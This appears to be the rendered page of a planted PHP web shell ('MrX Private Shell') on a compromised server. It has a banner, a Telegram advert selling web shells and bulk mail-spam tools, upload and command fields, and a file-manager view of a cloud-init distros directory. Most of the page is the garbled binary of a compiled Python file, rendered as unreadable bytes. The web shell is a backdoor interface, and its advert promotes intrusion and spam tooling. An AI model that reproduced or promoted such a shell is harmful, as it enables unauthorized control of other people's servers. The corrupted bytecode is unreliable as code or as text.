__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h~���SSKrSSKJrJrJrJr SSKJr SSKJ	r	 SSK
JrJr \R"\5r"SS\R 5rg)�N)�distros�helpers�subp�util)�PackageList)�HostnameConf)�
PER_ALWAYS�PER_INSTANCEc��\rSrSrSrSrSS/rSrSSjrS	\	4S
jr
SrSr\
S
5rSSjrSrSSjrSS.SjrSrg)�Distro�z/etc/locale.genzen_US.UTF-8zC.UTF8 UTF-8zen_US.UTF-8 UTF-8c���[RRXX#5 [R"5(aSUlOSUl[
R"U5UlSUlg)Nz
/etc/hostnamez/etc/conf.d/hostname�gentoo)	rr�__init__�uses_systemd�hostname_conf_fnr�Runners�_runner�osfamily)�self�name�cfg�pathss    �:/usr/lib/python3/dist-packages/cloudinit/distros/gentoo.pyr�Distro.__init__sN��������C�7����!�!�$3�D�!�$:�D�!�
���u�-��� ��
�Nc���[R"URSRUR5SS9 [
R
"S/SS9 [
R
"SSS	UR/SS9 g
)zuLocales need to be added to /etc/locale.gen and generated prior
to selection. Default to en_US.UTF-8 for simplicity.
�
i�)�modez
locale-genF��capture�eselect�locale�setN)r�
write_file�
locale_gen_fn�join�localesr�default_locale)r�_�out_fns   r�apply_locale�Distro.apply_locale+s[��	
����*�*�D�I�I�d�l�l�,C�#�N�	
�	�	�<�.�%�0�	
�	�	�
��%��)<�)<�=�u�	
r�pkglistc�D�UR5 URSUS9 g)N�)�pkgs)�update_package_sources�package_command)rr.s  r�install_packages�Distro.install_packages9s!���#�#�%����R�g��.rc��SnURU5nU(d[S5n[R"5(aURU5 OURSU-5 [R"U[U5S5 g![aC [R"URSS5nU(aN�[
R
S5 gf=f)N�create_hostname_fileTz8create_hostname_file is False; hostname file not createdr0z
hostname="%s"i�)
�_read_hostname_conf�IOErrorr�get_cfg_option_bool�_cfg�LOG�inforrr�set_hostnamer%�str)r�hostname�filename�confr7s     r�_write_hostname�Distro._write_hostname=s�����	��+�+�H�5�D����#�D����!�!�
���h�'�

���o��8�9�����#�d�)�U�3��3�
	�#'�#;�#;��	�	�1�4�$� �$�����N���
	�s�B	�	3C�>C�Cc�T�URUR5nURU4$�N)�_read_hostnamer)r�sys_hostnames  r�_read_system_hostname�Distro._read_system_hostname^s)���*�*�4�+@�+@�A���$�$�l�2�2rc�d�[[R"U55nUR5 U$rF)rr�load_text_file�parse)rArBs  rr8�Distro._read_hostname_confbs%���D�/�/��9�:���
�
���rc�x�SnURU5nURnU(dU$U$![a Nf=frF)r8r@r9)rrA�defaultr@rBs     rrG�Distro._read_hostnamehsH����	��+�+�H�5�D��}�}�H���N����	�	��	�s�,�
9�9c�J�[R"XRU5S9 g)N)�tz�tz_file)r�set_etc_timezone�
_find_tz_file)rrSs  r�set_timezone�Distro.set_timezoness��� � �B�0B�0B�2�0F�Grc���S/nURS5 US:XaURSS/5 O�Uc/nU(a'[U[5(aURU5 O-U(a&[U[5(aURU5 U(aURU5 [
R"SU5nURU5 [R"USS9 g)	N�emergez--quiet�upgradez--update�worldz%s-%sFr )�append�extend�
isinstancer?�listr�expand_package_listr)r�command�argsr1�cmdr.s      rr3�Distro.package_commandvs����j���
�
�9���i���J�J�
�G�,�-��|����
�4��-�-��
�
�4� ��*�T�4�0�0��
�
�4� ���
�
�7�#��.�.�w��=�G��J�J�w��	
�	�	�#�u�%rF)�forcec�t�URRSURS/U(a[O[S9 g)Nzupdate-sourcesz--sync)�freq)r�runr3r	r
)rrfs  rr2�Distro.update_package_sources�s1��������� � �
�J�$��,�		�	
r)rrrrF)NN)�__name__�
__module__�__qualname__�__firstlineno__r&r)r(rr,rr4rCrI�staticmethodr8rGrWr3r2�__static_attributes__�rrrrsm��%�M�"�N��2�3�G�!�
�/��/�4�B3�����
	�H�&�2/4�
�
rr)�logging�	cloudinitrrrr�cloudinit.distrosr�"cloudinit.distros.parsers.hostnamer�cloudinit.settingsr	r
�	getLoggerrkr<rrqrr�<module>rxs;���2�2�)�;�7�
����!��@
�W�^�^�@
r

Filemanager

Name Type Size Permission Actions
OpenCloudOS.cpython-313.pyc File 771 B 0644
TencentOS.cpython-313.pyc File 769 B 0644
__init__.cpython-313.pyc File 67.79 KB 0644
almalinux.cpython-313.pyc File 466 B 0644
alpine.cpython-313.pyc File 23.96 KB 0644
amazon.cpython-313.pyc File 753 B 0644
aosc.cpython-313.pyc File 6.55 KB 0644
arch.cpython-313.pyc File 6.42 KB 0644
azurelinux.cpython-313.pyc File 2.99 KB 0644
bsd.cpython-313.pyc File 9.11 KB 0644
bsd_utils.cpython-313.pyc File 1.91 KB 0644
centos.cpython-313.pyc File 463 B 0644
cloudlinux.cpython-313.pyc File 467 B 0644
cos.cpython-313.pyc File 462 B 0644
debian.cpython-313.pyc File 11.51 KB 0644
dragonflybsd.cpython-313.pyc File 566 B 0644
eurolinux.cpython-313.pyc File 466 B 0644
fedora.cpython-313.pyc File 463 B 0644
freebsd.cpython-313.pyc File 10.38 KB 0644
gentoo.cpython-313.pyc File 5.91 KB 0644
mariner.cpython-313.pyc File 2.01 KB 0644
miraclelinux.cpython-313.pyc File 469 B 0644
netbsd.cpython-313.pyc File 7.05 KB 0644
networking.cpython-313.pyc File 16.54 KB 0644
openbsd.cpython-313.pyc File 3.25 KB 0644
openeuler.cpython-313.pyc File 767 B 0644
openmandriva.cpython-313.pyc File 471 B 0644
opensuse-leap.cpython-313.pyc File 474 B 0644
opensuse-microos.cpython-313.pyc File 477 B 0644
opensuse-tumbleweed.cpython-313.pyc File 480 B 0644
opensuse.cpython-313.pyc File 10.61 KB 0644
photon.cpython-313.pyc File 6.95 KB 0644
rhel.cpython-313.pyc File 8.36 KB 0644
rhel_util.cpython-313.pyc File 1.57 KB 0644
rocky.cpython-313.pyc File 462 B 0644
sle-micro.cpython-313.pyc File 470 B 0644
sle_hpc.cpython-313.pyc File 468 B 0644
sles.cpython-313.pyc File 465 B 0644
suse.cpython-313.pyc File 463 B 0644
ubuntu.cpython-313.pyc File 3.22 KB 0644
ug_util.cpython-313.pyc File 7.93 KB 0644
virtuozzo.cpython-313.pyc File 466 B 0644
Filemanager